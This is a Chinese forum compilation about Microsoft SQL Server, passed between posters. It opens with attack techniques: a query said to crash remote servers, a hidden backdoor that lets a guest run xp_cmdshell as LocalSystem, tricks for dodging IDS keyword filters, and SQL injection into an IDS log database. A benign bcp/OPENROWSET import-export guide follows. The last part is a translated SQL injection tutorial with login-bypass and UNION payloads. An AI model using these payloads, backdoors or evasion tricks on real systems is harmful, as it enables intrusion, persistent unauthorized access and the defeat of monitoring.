select * from openrowset('msdasql','driver=;server=server;address=server,1433;uid=sa;pwd=;database=master; network=dbmssocn','select * from table1 select * fromtable2')
当table1和table2的字段数目不相同时,你会发现对方的sqlserver崩溃了,连本地连接都会失败,而系统资源占用一切正常,用pskill杀死sqlserver进程后,如果不重启机器,sqlserver要么无法正常启动,要么时常出现非法操作,我也只是碰巧找到这个bug的,具体原因我还没有摸透,而且很奇怪的是这个现象只出现在msdasql上,sqloledb就没有这个问题,看来问题不是在于请求集合数目和返回集合数目不匹配上,因该还是msdasql本身的问题,具体原因,大家一起慢慢研究吧:P

3。可怕的后门
以前在网上看到有人说在sqlserver上留后门可以通过添加triger,jobs或改写sp_addlogin和sp_addsrvrolemember做到,这些方法当然可行,但是很容易会被发现。不知道大家有没有想过sqloledb的本地连接映射。呵呵,比如你在对方的sqlserver上用sqlserver的管理员账号执行如下的命令select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic','set fmtonly off exec master..xp_cmdshell''dir c:\''')这样在对方的sqlserver上建立了一个名为Hectic的本地连接映射,只要sqlserver不重启,这个映射会一直存在下去,至少我现在还不知道如何发现别人放置的连接映射,好了,以上的命令运行过后,你会发现哪怕是sqlserver没有任何权限的guest用户,运行以上这条命令也一样能通过!而且权限是localsystem!(默认安装)呵呵!这个方法可以用来在以被入侵过获得管理员权限的sqlserver上留下一个后门了。
以上的方法在sqlserver2000+sqlserver2000SP1上通过!

*另外还有一个猜测,不知道大家有没有注意过windows默认附带的两个dsn,一个是localserver一个是msqi,这两个在建立的时候是本地管理员账号连接sqlserver的,如果对方的sqlserver是通过自定义的power user启动,那么sa的权限就和power user一样,很难有所大作为,但是我们通过如下的命令select * from openrowset('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''dir c:\''')应该可以利用localserver的管理员账号连接本地sqlserver然后再以这个账号的权限执行本地命令了,这是后我想应该能突破sa那个power user权限了。现在的问题是sqloledb无法调用dsn连接,而msdasql非管理员不让调用,所以我现在正在寻找guest调用msdasql的方法如果有人知道这个bug如何突破,或有新的想法,我们可以一起讨论一下,这个发放如果能成功被guest利用,将会是一个很严重的安全漏洞。

因为我们前面提到的任何sql语句都可以提交给对方的asp去帮我们执行:P?

利用t-sql骗过ids或攻击ids?

现在的ids已经变得越来越聪明了
有的ids加入了xp_cmdshell sp_addlogin 的监视 ,但是毕竟人工智能没有出现的今天,这种监视总是有种骗人的感觉 。先说说欺骗ids:
ids既然监视xp_cmdshell关键字,那么我们可以这么做,declare @a sysname set @a="xp_"+"cmdshell" exec @a 'dir c:\' 这个代码象性大家都能看明白,还有xp_cmdshell作为一个store procedure在master库内有一个id号,固定的,我们也可以这么做,
假设这个id=988456
declare @a sysname select @a=name from sysobjects where id=988456 exec @a 'dir c:\'
当然也可以
declare @a sysname select @a=name from sysobjects where id=988455+1 exec @a 'dir c:\'
这种做法排列组合,ids根本不可能做的到完全监视
同理,sp_addlogin也可以这么做 。




再说说攻击ids:

因为ids数据量很大,日至通常备份到常规数据库,比如sql server
如果用古老的recordset.addnew做法,会严重影响ids的性能,因为通过ado做t-sql请求,不但效率高,而且有一部分工作可以交给sql server去做 。
通常程序会这么写:insert table values ('日至内容',...)
那么我么想想看,如果用temp') exec xp_cmdshell 'dir c:\' -- ,提交后会变成
insert table values ('日至内容'....'temp') exec xp_cmdshell 'dir c:\' -- ') ,这样,xp_cmdshell就可以在ids的数据库运行了,当然ids是一个嗅叹器,他会抓所有的报,而浏览器提交的时候会把空格变成%20 ,因此,%20会被提交到sql server,这样你的命令就无法执行了 ,唯一的办法就是insert/**/table/**/values('日至内容'....'temp')/**/exec/**/xp_cmdshell/**/'dir c:\'/**/-- ')
用/**/代替空格做间隔符,这样你的t-sql才能在ids的数据库内执行,当然也可以用其他语句,可以破坏,备份ids的数据库到你的共享目录 。呵呵 ...
其实这种方法的原理和攻击asp是一样的,只是把空格变成了/**/ ,本来asp是select语句,那么用'就可以屏蔽现在ids用insert语句,那么用')屏蔽 。

好了,其他很多新的入侵语句大家可以自己慢慢想,最好的测试工具就是query analyzer了。

TOP

SQL语句导入导出大全

/******* 导出到excel
EXEC master..xp_cmdshell 'bcp SettleDB.dbo.shanghu out c:\temp1.xls -c -q -S"GNETDATA/GNETDATA" -U"sa" -P""'

/*********** 导入Excel
SELECT *
FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0',
'Data Source="c:\test.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions

/*动态文件名
declare @fn varchar(20),@s varchar(1000)
set @fn = 'c:\test.xls'
set @s ='''Microsoft.Jet.OLEDB.4.0'',
''Data Source="'+@fn+'";User ID=Admin;Password=;Extended properties=Excel 5.0'''
set @s = 'SELECT * FROM OpenDataSource ('+@s+')...sheet1$'
exec(@s)
*/

SELECT cast(cast(科目编号 as numeric(10,2)) as nvarchar(255))+' ' 转换后的别名
FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0',
'Data Source="c:\test.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions

/********************** EXCEL导到远程SQL
insert OPENDATASOURCE(
'SQLOLEDB',
'Data Source=远程ip;User ID=sa;Password=密码'
).库名.dbo.表名 (列名1,列名2)
SELECT 列名1,列名2
FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0',
'Data Source="c:\test.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions


/** 导入文本文件
EXEC master..xp_cmdshell 'bcp dbname..tablename in c:\DT.txt -c -Sservername -Usa -Ppassword'

/** 导出文本文件
EXEC master..xp_cmdshell 'bcp dbname..tablename out c:\DT.txt -c -Sservername -Usa -Ppassword'

EXEC master..xp_cmdshell 'bcp "Select * from dbname..tablename" queryout c:\DT.txt -c -Sservername -Usa -Ppassword'

导出到TXT文本,用逗号分开
exec master..xp_cmdshell 'bcp "库名..表名" out "d:\tt.txt" -c -t ,-U sa -P password'


BULK INSERT 库名..表名
FROM 'c:\test.txt'
WITH (
FIELDTERMINATOR = ';',
ROWTERMINATOR = '\n'
)


--/* dBase IV文件
select * from
OPENROWSET('MICROSOFT.JET.OLEDB.4.0'
,'dBase IV;HDR=NO;IMEX=2;DATABASE=C:\','select * from [客户资料4.dbf]')
--*/

--/* dBase III文件
select * from
OPENROWSET('MICROSOFT.JET.OLEDB.4.0'
,'dBase III;HDR=NO;IMEX=2;DATABASE=C:\','select * from [客户资料3.dbf]')
--*/

--/* FoxPro 数据库
select * from openrowset('MSDASQL',
'Driver=Microsoft Visual FoxPro Driver;SourceType=DBF;SourceDB=c:\',
'select * from [aa.DBF]')
--*/

/**************导入DBF文件****************/
select * from openrowset('MSDASQL',
'Driver=Microsoft Visual FoxPro Driver;
SourceDB=e:\VFP98\data;
SourceType=DBF',
'select * from customer where country != "USA" order by country')
go
/***************** 导出到DBF ***************/
如果要导出数据到已经生成结构(即现存的)FOXPRO表中,可以直接用下面的SQL语句

insert into openrowset('MSDASQL',
'Driver=Microsoft Visual FoxPro Driver;SourceType=DBF;SourceDB=c:\',
'select * from [aa.DBF]')
select * from 表

说明:
SourceDB=c:\ 指定foxpro表所在的文件夹
aa.DBF 指定foxpro表的文件名.


/*************导出到Access********************/
insert into openrowset('Microsoft.Jet.OLEDB.4.0',
'x:\A.mdb';'admin';'',A表) select * from 数据库名..B表

/*************导入Access********************/
insert into B表 selet * from openrowset('Microsoft.Jet.OLEDB.4.0',
'x:\A.mdb';'admin';'',A表)

文件名为参数
declare @fname varchar(20)
set @fname = 'd:\test.mdb'
exec('SELECT a.* FROM opendatasource(''Microsoft.Jet.OLEDB.4.0'',
'''+@fname+''';''admin'';'''', topics) as a ')

SELECT *
FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0',
'Data Source="f:\northwind.mdb";Jet OLEDB:Database Password=123;User ID=Admin;Password=;')...产品

********************* 导入 xml 文件

DECLARE @idoc int
DECLARE @doc varchar(1000)
--sample XML document
SET @doc ='
<root>
<Customer cid= "C1" name="Janine" city="Issaquah">
<Order oid="O1" date="1/20/1996" amount="3.5" />
<Order oid="O2" date="4/30/1997" amount="13.4">Customer was very satisfied
</Order>
</Customer>
<Customer cid="C2" name="Ursula" city="Oelde" >
<Order oid="O3" date="7/14/1999" amount="100" note="Wrap it blue
white red">
<Urgency>Important</Urgency>
Happy Customer.
</Order>
<Order oid="O4" date="1/20/1996" amount="10000"/>
</Customer>
</root>
'
-- Create an internal representation of the XML document.
EXEC sp_xml_preparedocument @idoc OUTPUT, @doc

-- Execute a SELECT statement using OPENXML rowset provider.
SELECT *
FROM OPENXML (@idoc, '/root/Customer/Order', 1)
WITH (oid char(5),
amount float,
comment ntext 'text()')
EXEC sp_xml_removedocument @idoc


???????

/**********************Excel导到Txt****************************************/
想用
select * into opendatasource(...) from opendatasource(...)
实现将一个Excel文件内容导入到一个文本文件

假设Excel中有两列,第一列为姓名,第二列为很行帐号(16位)
且银行帐号导出到文本文件后分两部分,前8位和后8位分开。


邹健:
如果要用你上面的语句插入的话,文本文件必须存在,而且有一行:姓名,银行账号1,银行账号2
然后就可以用下面的语句进行插入
注意文件名和目录根据你的实际情况进行修改.

insert into
opendatasource('MICROSOFT.JET.OLEDB.4.0'
,'Text;HDR=Yes;DATABASE=C:\'
)...[aa#txt]
--,aa#txt)
--*/
select 姓名,银行账号1=left(银行账号,8),银行账号2=right(银行账号,8)
from
opendatasource('MICROSOFT.JET.OLEDB.4.0'
,'Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:\a.xls'
--,Sheet1$)
)...[Sheet1$]


如果你想直接插入并生成文本文件,就要用bcp

declare @sql varchar(8000),@tbname varchar(50)

--首先将excel表内容导入到一个全局临时表
select @tbname='[##temp'+cast(newid() as varchar(40))+']'
,@sql='select 姓名,银行账号1=left(银行账号,8),银行账号2=right(银行账号,8)
into '+@tbname+' from
opendatasource(''MICROSOFT.JET.OLEDB.4.0''
,''Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:\a.xls''
)...[Sheet1$]'
exec(@sql)

--然后用bcp从全局临时表导出到文本文件
set @sql='bcp "'+@tbname+'" out "c:\aa.txt" /S"(local)" /P"" /c'
exec master..xp_cmdshell @sql

--删除临时表
exec('drop table '+@tbname)


/********************导整个数据库*********************************************/

用bcp实现的存储过程


/*
实现数据导入/导出的存储过程
根据不同的参数,可以实现导入/导出整个数据库/单个表
调用示例:
--导出调用示例
----导出单个表
exec file2table 'zj','','','xzkh_sa..地区资料','c:\zj.txt',1
----导出整个数据库
exec file2table 'zj','','','xzkh_sa','C:\docman',1

--导入调用示例
----导入单个表
exec file2table 'zj','','','xzkh_sa..地区资料','c:\zj.txt',0
----导入整个数据库
exec file2table 'zj','','','xzkh_sa','C:\docman',0

*/
if exists(select 1 from sysobjects where name='File2Table' and objectproperty(id,'IsProcedure')=1)
drop procedure File2Table
go
create procedure File2Table
@servername varchar(200) --服务器名
,@username varchar(200) --用户名,如果用NT验证方式,则为空''
,@password varchar(200) --密码
,@tbname varchar(500) --数据库.dbo.表名,如果不指定:.dbo.表名,则导出数据库的所有用户表
,@filename varchar(1000) --导入/导出路径/文件名,如果@tbname参数指明是导出整个数据库,则这个
参数是文件存放路径,文件名自动用
表名.txt
,@isout bit --1为导出,0为导入
as
declare @sql varchar(8000)

if @tbname like '%.%.%' --如果指定了表名,则直接导出单个表
begin
set @sql='bcp '+@tbname
+case when @isout=1 then ' out ' else ' in ' end
+' "'+@filename+'" /w'
+' /S '+@servername
+case when isnull(@username,'')='' then '' else ' /U '+@username end
+' /P '+isnull(@password,'')
exec master..xp_cmdshell @sql
end
else
begin --导出整个数据库,定义游标,取出所有的用户表
declare @m_tbname varchar(250)
if right(@filename,1)<>'\' set @filename=@filename+'\'

set @m_tbname='declare #tb cursor for select name from '+@tbname+'..sysobjects where xtype=''U'''
exec(@m_tbname)
open #tb
fetch next from #tb into @m_tbname
while @@fetch_status=0
begin
set @sql='bcp '+@tbname+'..'+@m_tbname
+case when @isout=1 then ' out ' else ' in ' end
+' "'+@filename+@m_tbname+'.txt " /w'
+' /S '+@servername
+case when isnull(@username,'')='' then '' else ' /U '+@username end
+' /P '+isnull(@password,'')
exec master..xp_cmdshell @sql
fetch next from #tb into @m_tbname
end
close #tb
deallocate #tb
end
go


/************* Oracle **************/
EXEC sp_addlinkedserver 'OracleSvr',
'Oracle 7.3',
'MSDAORA',
'ORCLDB'
GO

delete from openquery(mailser,'select * from yulin')

select * from openquery(mailser,'select * from yulin')

update openquery(mailser,'select * from yulin where id=15')set disorder=555,catago=888

insert into openquery(mailser,'select disorder,catago from yulin')values(333,777)


补充:

对于用bcp导出,是没有字段名的.

用openrowset导出,需要事先建好表.

用openrowset导入,除ACCESS及EXCEL外,均不支持非本机数据导入

TOP

SQL知识讲解

1.1概述

1.2背景

1.3字符编码

2.1综合测试

2.2测试过程

2.3分析结果

3.1绕过验证

3.2 SELECT

3.2.1 直接利用 ' 号
3.2.2 基于UNION
3.2.3 利用结构错误查询表单
3.2.4 插入语句(圆扩号)
3.2.5 利用LIKE语句查询
3.2.6 "死胡同"
3.2.7 列的数目不匹配问题
3.2.8 附加的WHERE引号
表和域的枚举
3.2.10 单括号

3.3插入

3.4SQL服务器存储过程利用

4.1数据处理

4.2安全的SQL网页应用程序编写

5.1MS SQL Server

5.2MS Access Server

5.3 Oracle

关于 SPI Dynamics,INc.


一 概述和介绍

1.网络应用和SQL注射

1.1概述

有些网络数据库没有过滤客户提供的数据中可能有害的字符,SQL注射就是利用插入有害字符进行攻击的技术。尽管非常容易防范,但因特网上仍然有惊人数量的存储系统容易受到这种攻击。这篇文章的目的是指导专业安全组织了解这种技术,并告诉他们正确的,用来防范SQL注射的办法,以及处理各种常见的,由于非法输入引起的问题.


1.2背景

在读这篇文章之前,你应该对数据库如何工作,以及SQL如何被用来访问数据库有一些基础的了解。我建议您阅读eXtropia.com的文章“Introduction to Databases for WebDevelopers”。
(网址:http://www.extropia.com/tutorials/sql/toc.html


1.3字符编码

在大多数的网络浏览器中,标点符号和许多其它符号在用于一个网络请求前需要把URL编码,以便被适当地编译(interpret)。在本文中的例子和截图中我使用了固定的ASCII字符以保证最大的可读性。然而,在实际应用中,你需要在HTTP请求中用%25来代替百分号(%),用%2B来代替加号(+)等等。。。


2.易损性的测试(Testing for vulnerability)

2.1综合测试

彻底地检测一个网络请求是否容易被SQL注射比一个可能的猜测(might guess)需要耗费更多的精力。当你把一个单引号放进一个脚本的第一个参数值时,服务器返回一个空白的网页,上面除了ODBC错误以外什么都没有.显然这种情况直接反映出web程序存在漏洞,但通常都不是这样的,如果你没有注意细节的话,很容易忽略掉一个看上去完美,其实很脆弱的脚本。
服务器上每一个脚本中的每一个参数都应该被检测。开发者和开发组织之间可能很不一致。设计脚本A的程序员也许和脚本B的开发毫无关系,所以,其中一个也许对SQL注射免疫,而另外一个可能不会。事实上,设计脚本A里的函数A的程序员也许和脚本A里的函数B的开发毫无关系,所以脚本A里的一个参数也许对SQL注射是脆弱的,而另外一个参数却不一定,即使整个网络请求是由一个程序员来构想,设计,编写及测试的,在成千上万的脚本中的参数中,由于某种原因,设计者忘了检验某个地方的数据,所以仍有可能存在一个脆弱的参数,而且那个地方是唯一的,你永远都不能确定是哪里,所以必须测试所有的东西。


2.2测试过程

用一个单引号和一个SQL关键字(比如“WHERE”)替代每一个参数的值(argument),每个参数都应该被单独地测试,不止那样,当你测试一个参数的时候,应该保持其它的参数不变,并用有效的数据填充它们的值(argument),It can be tempting to just delete all of the stuff that you're not working with in order to make things look simpler, particularly with applications that have parameter lines that go into many thousands of characters.
当你测试一个参数是否能被SQL注射的时候,如果忽略了其它参数或者给他们一个错误的值(argument),网络请求就有可能由于其它原因而出错,这阻碍了你判断SQL注射是否可行。比如,让我们假设以下是一个有效的,纯粹的(unaltered)参数行:

ContactName=Maria%20Anders&CompanyName=Alfreds%20Futterkiste

并且它返回一个ODBC错误:
ContactName=Maria%20Anders&CompanyName='%20OR

如果我们这样检测:
CompanyName='

可能只会给你一个错误告诉你需要指定一个ContactName值。
这行:
ContactName=BadContactName&CompanyName='

可能返回同样的页面,因为请求根本没有指定ContactName。或者,它可能返回你站点默认的主页。或者,可能它找不到指定的ContactName,或者web程序认为没有必要看CompanyName,所以它甚至根本不把这个参数值认为是一个SQL声明,或者,它可能给你一些完全不同的东西,所以,当检测SQL注射的时候,记得总是用完整的参数行,并且除了你正在检测的那个参数外,还要给其它所有的参数一个合法的值。


2.3分析结果

如果你得到一个数据库服务器返回的某些错误信息,那么SQL注射显然是存在的.然而,数据库错误信息不一定总是明显的(有时候编写程序的人可能做一些奇怪的事情),所以,你应该顺便看看每个可能的地方来确认注射是否成功,首先你应该从返回的页面上的所有资源中找寻像"ODBC", "SQL Server", "Syntax"等的短语,更多的信息可能含在HTTP的头部,隐藏的输入...。我曾见过某些存储系统上的网络请求返回的错误信息中,在HTTP回复的body中完全没有任何信息,但在头部中却有数据库错误信息。为了调试和QA的目的,很多网络请求都内嵌了这种特征,然而到最后发表前却忘了把它们去处掉或使之无效。
你不只要注意即时返回的页面,同样链接页面也要看,在最近的一次pen-test中,我看到一个网络请求被SQL注射攻击后,返回了一个类错误信息页面,点击错误旁边的停止标志图片,链接到了另外一个满是SQL服务器错误信息的页面。
另一个应该密切注意的是302页面重定向,在你有机会注意到它之前,你可能就无奈的离开了一个含有数据库错误信息的页面.
请注意即使你真的得到了一个ODBC错误信息回复,SQL注射仍有可能成功,很多时候(Lots of the time)你得到一个properly formatted, seemingly类错误消息页面,告诉你"an internal server error" 或者 "problem processing your request."
有些网络请求被设计成一旦出现任何的错误,客户都返回到站点的主页面。如果你得到一个500错误页面,很有可能注射就出现了,很多站点都有一个默认的500服务器内部错误页面来说明服务器正在维护中,或礼貌的让用户把他们的请求email给站点的维护人员。这就有可能用procedure techniques来利用这些站点,这将在后面讨论。


3.攻击

3.1绕过验证

最简单的SQL注射技术是绕过基于表单的登陆.让我们假设某个网络请求的代码如下:
SQLQuery = "SELECT Username FROM Users WHERE Username = '" & strUsername & "' AND Password = '" & strPassword & "'"
strAuthCheck = GetQueryResult(SQLQuery)
If strAuthCheck = "" Then
boolAuthenticated = False
Else
boolAuthenticated = True
End If
当一个用户提交了一个用户名和密码后,查询(query)将搜索Users表单来看是否其中有一行中所包含的用户名和密码与用户提供的相同,如果找到了那么一行,则用户名被储存到变量strAuthCheck中,同时说明该用户应该被鉴定,如果没有找到那么一行,则strAuthCheck变量保持为空,同时该用户不被鉴定。
如果strUsername和strPassword变量可以包含任何你要的字符,你可以修改当前的SQL查询结构,那样即使你不知道有效的用户名和密码,你仍何以得到一个有效的name,它是如何实现的呢?让我们假设用户像下面那样填充了一个登陆表单:
Login: ' OR ''='
Password: ' OR ''='
这将给SQLQuery以下值:
SELECT Username FROM Users WHERE Username = '' OR ''='' AND Password = '' OR ''=''
请求并不把用户提交的数据与现存的Users表单做比较,而是直接比较''和'',显然它总是返回true,(注意nothing和null是有区别的)由于WHERE语句中的所有验证条件都符合了,用户名将使用表单中搜索到的第一行中的那个,接着用户名将被传递给变量strAuthCheck,这样我们的效力就得以保证。使用single result cycling技术,也有可能使用另外一行的数据,这将在以后讨论。

3.2 SELECT
对于另一些情况而言,你必须根据查询那些有缺陷的web程序返回的结果,来判断和调整你提交的SQL查询字符串,以便搞定服务器.

3.2.1 直接利用单引号
你将面临的第一个错误是语句结构错误.一个结构错误表明SQL查询的语句结构存在缺陷.首先你应该明白,在没有编码引号的情况下, 插入脚本攻击是否可以成功.

直接SQL注射的时候,无论你提交什么语句都会被不加任何改变地应用于SQL查询中.试着提交参数的时候,先输入合法的值,然后在其后添加一个空格和一个OR,如果服务器产生了错误,那么直接SQL注射是可能的.提交的值可以是任何WHERE子句中用到的值,例如:
SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE Employee = " & intEmployeeID
或者是紧跟于一个SQL关键字,例如表名或者表里的栏目名,比如
SQLString = "SELECT FirstName, LastName, Title FROM Employees ORDER BY " & strColumn
所有其他的例子都是引号注射,在一个存在引号插入漏洞的程序里面, 任何一个你提交的参数,系统都会在前面和后面添加一个引号,就像这样:
SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE EmployeeID = '" & strCity & "'"
为了能(break out)打破这引号,并伪造一个正确的查询,在你的SQL注射字符串中的SQL关键字之前必须包含一个单引号,而且在WHERE子句的后面也需要加上一个单引号.现在我们来谈谈"欺骗"的问题.是的,SQL SERVER会忽视在";--"后面的任何东西,但是只有MS的SQL SERVER会这样做.我们最好学习如何处理这个问题,这样我们在面对Oracle,DB/2,MySQL 和他种类的数据库服务器的时候就知道怎么做了.
<<<<<<<<<<<<<<图1>>>>>>>>><<<<<<<<<<图2>>>>>>>>>>>>>>>>>>>>>>>>>>

SELECT查询被用于从数据库中获取信息.大多数的web应用程序通过SELECT向数据库获取信息候再动态地在页面上显示出来.通常,数据库查询这部分你可以自己伪造,他将成为WHERE子句的一部分.我们可以通过插入UNION SELECT来绕过web程序允许我们查询的数据,从而得到其它的数据.联合查询(指UNION SELECT)允许在一条语句中使用多个SELECT查询,看上去就像这样:
SELECT CompanyName FROM Shippers WHERE 1 = 1 UNION ALL SELECT CompanyName FROM Customers WHERE 1 = 1
它返回的结果中包含了第一个查询和第二个查询的结果,"ALL SELECT"这里的ALL是必须的,这样可以逃过SELECT DISTINCT语句的限制并且不会妨碍别的(??),所以最好是使用它.你必须确认第一个查询,即web应用程序编写者希望执行的那个被执行,不返回任何记录.这并不难.举个例子,有这么一个表达式:
SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE City = '" & strCity & "'"
我们构造如下的插入串:
' UNION ALL SELECT OtherField FROM OtherTable WHERE ''='
这将导致如下的SQL查询语句被提交给SQL SERVER:
SELECT FirstName, LastName, Title FROM Employees WHERE City = '' UNION ALL SELECT OtherField FROM OtherTable WHERE ''=''
让我们看看会发生什么:数据库搜索Employees表,查找City被设置为NULL的那一行,由于它找不到哪一行city是NULL,所以它不会返回任何记录,只有我们inject的查询才会返回记录.在一些情况下,使用NULL不能成功,因为表里的却存在
有NULL的项.在这种情况下,你要做的就是构造一个表中不存在的值,你只要输入一些不普通的值...最好是对照那些正常的值,当数据库需要一个自然数时,0或者负数都工作得很好,对于一个文本参数,简单的用"NoSuchRecord","NotInTable"或更常见的"sjdajdhajsh",只要它不返回记录就好.
如果所有的web应用程序使用的SQL查询都像上面这些那么简单就好了,可惜这不可能: ].按照各个编程者习惯和查询表达式编写方式的不同,你SQL注射时可能会遇到各种困难.

3.2.3 利用结构错误查询表单
一些数据库服务器返回的错误信息中包含了一部分格式错误消息,你可以通过分析这些片断来构造你提交的INJECTION语句,有些你提交的字符串会返回有用的信息,有的却不会,这主要是以来于web应用程序中SQL查询语句是如何设计的.下面这些是我推荐你尝试的字符串:
'
BadValue'
'BadValue
' OR '
' OR
;
9,9,9
通常这些字符串中的一些会返回相同的信息,或者根本不返回信息.但是有例子告诉我们,可能有的信息只有用他们中的一个才能得到,所以你最好提交字符串的时候,把他们都试一遍.
<<<<<<图3.2.4>>>>>>
(2张图)

3.2.4 圆扩弧
如果有缺陷的查询语句中包含圆扩弧'(' (就像下面将会举的例子那样),或者返回的错误信息里显式地提醒你缺了'('号(Oracle这么做),那么你应该在你提交的SQL注射字符串中加入'('号.通常在WHERE子句后面加一个括号,但是在一些情况下,你需要加2个或者更多的括号.
下面是parenthesis.asp的源码:
mySQL="SELECT LastName, FirstName, Title, Notes, Extension FROM Employees WHERE (City = '" & strCity & "')"
我们插入如下的值:
"') UNION SELECT OtherField FROM OtherTable WHERE (''='"
那么传送给SQL SERVER的语句就变成了这样:
SELECT LastName, FirstName, Title, Notes, Extension FROM Employees WHERE (City = '') UNION SELECT OtherField From OtherTable WHERE (''='')

3.2.5 LIKE语句查询
<<<<<<<<<图2张>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
另一个大的灾难是陷入一个LIKE子句的陷阱.(Seeing the LIKE keyword or percent signs cited in an error message are indications of this situation.)大多数的web搜索程序使用LIKE子句来查询数据库,比如下面这个:
SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE LastName LIKE '%" & strLastNameSearch & "%'"
这里面的%是通配符,在这个例子里,WHERE子句会返回TRUE,只要LASTNAME里有字符串含有strLastNameSearch.为了阻止SQL SERVER返回预计中的记录,你构造的SQL语句里必须含有LASTNAME里没有的字符串.web搜索程序搜索的字符串来自于用户的输入.通常有一个'和一个%在输入的字符串之前,因此我们构造字符串时,需要在WHERE子句中匹配它们.如果你提交了NULL作为搜索字符串,那么LIKE的参数会变成"%%",这是一个全匹配,会返回所有的记录.

3.2.6 “死胡同”
大部分的时候sql injection都要伴随着大量失败的实践,如果你发现你无论如何都不能插入相关的语句,并且无论你怎么做都不对,这个时候你就要判断自己是否掉进了一个死胡同,很多时候遇到这种情况你很可能是在一个多重嵌套的WHERE和SELECT子句的语句中,或者一些更加复杂的多重嵌套,连使用“;--”都没有用,所以自己要小心和避免在这种地方停留。

3.2.7 列的数目不匹配问题
如图所示,我们可以从几次错误中得到很多有用的信息,并且加以调整自己的请求语句,这种信息多了,那就意味着我们离成功不远了。在猜列名时,如图所示,我们提交语句后会碰到以下错误“在UNION语句中的所有查询都必须在目标列表中具有相同数目的表达式”,这就是说你需要找出或者说是探测出在合法的请求中有多少个列。
这里我解释一下,UNION 语句是用来将两个不同的查询结果集相加得到一个结果集,UNION使用的唯一要求是两个查询的信息(你的查询语句)必须有相同的列数和相同的数据类型

我举个例子,web程序中有如下语句:
SQLstring= "SELECT FirstName,LastName,EmployeeID FROM Employees WHERE City ='"&strCity"'"
合法的SELECT语句和我们注入的UNION SELECT语句在WHERE子句中都要有相同的列。就上面的语句来说,如果我要加入UNION 语句的话,前后两者都要有3个列。并且他们列的数据类型也要相互匹配才可以。(见图)如果FirstName这个值是字符串类型的,那么在你注入的语句中所对应的值也应该是字符串类型的。一些数据库,如ORACLE,是对类型检查非常严格的。其他的数据库相对要好一些,允许你输入任何数据类型并且它会自动的把你输入错误的数据类型转换成正确的。比如SQL数据库中,你在varchar类型的地方输入数值类型的数据(如int)是不会报错的,因为在这里数值类型会被自动转为字符串类型。但是如果在smallint列处输入text类型则被认为是非法的,因为text类型不能被转换成int类型。把数值类型的数据转换成字符串型是被允许的,而反之则不行,所以默认都是使用数值类型的数据。

要想知道我们要注入的目标语句中有多少个列,你就要试探性的往UNION SELECT子句中添加相应的值,直到它不报“在UNION语句中的所有查询都必须在目标列表中具有相同数目的表达式”这样的错为止。如图所示,如果你遇到的是数据类型不匹配的错误,那么你要去改变列的数据类型。如果返回消息只是一个转换数据类型失败的错误,那就说明你已经猜对了列的数目,只是其中有个别的列的数据类型不对。那么接下来要做的就是判断是哪个列的数据类型的不正确导致的错误。然后将他改过来就可以了。
如果一切顺利,那么祝贺你,你会得到一个和上面格式类似的而且是合法的页面;)无论动态页面在哪里出现,你都可以构造自己的语句应对自如。

3.2.8.WHERE关键字
如图所示,报错为“无效的列名'EmployeeID'”,这个问题可能是由我们注入的语句结尾的WHERE关键字引起的,举例说明:
SQLString="SELECT FirstName,LastName,Title FROM Employees WHERE City='"&strcity&"'AND Country ='USA'"
如果我们注入的语句是UNION ALL SELECT OtherField FROM OtherTable WHERE 1=1 那么会得到如下的提交语句:
SELECT FirstName, LastName, Title FROM Employees WHERE City = 'NoSuchCity' UNION ALL SELECT OtherField FROM OtherTable WHERE 1=1 AND Country = 'USA'
这样就会报错:[Microsoft][ODBC SQL Server Driver][SQL Server]无效的列名 'Country'。
其实问题就是因为你注入的语句后,系统没有在从数据库的表中找到一个叫'Country'的列名。我们这里可以简单的用“;--”注释符号将其注释掉(如果我们是SQL Server)。或者干脆继续猜其他的列名,然后构造合法请求就如我们上一节讲到的一样。
表名的枚举
我们已经开始掌握如何来使用注入进行攻击,但是我们还要确定要从哪个表得到信息,换句话说就是我们要的到关键的表名才能获得我们想要的有用信息。如何获得表名呢?在SQL Server中,你可以很容易得从数据库中得到全部的表名和列名。但是在Oracle和Access中,你就不一定能如此轻易的得到了,这要看WEB程序对数据库的访问权限了。关键在于是否能得到系统建立时自动生成的表中包含的表名和列名。如在SQL Server中,它们分别为'sysobjects'和'syscolumns',(在本文最后我们将给出其他数据库系统自建表和相应的列名)我们用以下的句子可以在这些表中列出数据库的所有列名和表名,(根据情况自行修改):
SELECT name FROM sysobjects WHERE xtype = 'U'
这句话会返回数据库中用户定义的所有表(如图所示),如果我们看到我们感兴趣的或者是想要看的表,那么我们就把他打开,这里以Orders为例构造语句:SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Orders')得到结果如图。
3.2.10.单一纪录
上面我们构造的语句返回了大量的信息,如果你只想显示一条数据纪录也是可以的。你完全可以构造你的注入语句来得到你想要的唯一的信息。我们只要在WHERE子句中添加关键字来避免某些行的关键字被选中就可以了。我来举个列子:' UNION ALL SELECT name, FieldTwo, FieldThree FROM TableOne WHERE ''='
我们这样就可以得到FieldOne,FieldTwo和FieldThree的第一个值,假设我们的到的分别是"Alpha", "Beta"和"Delta"。注意,更有意思的来了,我们要得到第2行的值,怎么构造下面的语句呢?这样来:' UNION ALL SELECT FieldOne, FieldTwo, FieldThree FROM TableOne WHERE FieldOne NOT IN ('Alpha') AND FieldTwo NOT IN ('Beta') AND FieldThree NOT IN ('Delta') AND ''='
这里有一个子句“NOT IN VALUES”,它的作用是不再返回我们已经得到的信息,即不是alpha,不是beta,不是delta.既然都不是,数据库就会傻乎乎的告诉我们第二行的值。我们再假设我们得到第二行的值为"AlphaAlpha", "BetaBeta"和"DeltaDelta"。
